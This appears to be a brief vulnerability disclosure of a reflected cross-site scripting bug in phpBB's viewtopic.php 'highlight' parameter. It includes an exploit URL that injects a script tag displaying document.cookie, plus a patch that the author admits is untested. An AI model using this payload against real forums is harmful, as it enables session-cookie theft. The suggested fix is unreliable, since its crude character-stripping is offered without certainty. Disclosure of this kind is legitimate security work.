XSS bug in phpBB

[Arab VieruZ <arabviersus () hotmail com>]

Vulnerable systems:
The Last ver

Exploit:
http://phpbb.com/phpBB/viewtopic.php?
t=17071&highlight=">"<Scr*ipt>javascript:alert(document.cookie)</Scr*ipt>

(without "*")

Solution:
i think that will work , but im not sure

open viewtopic.php and put this code

$highlight = htmlspecialchars($highlight);
$highlight = PREG_Replace("/[A-Z&.;:()~!@#$%^''*\{\}\/]/i", "", 
$highlight);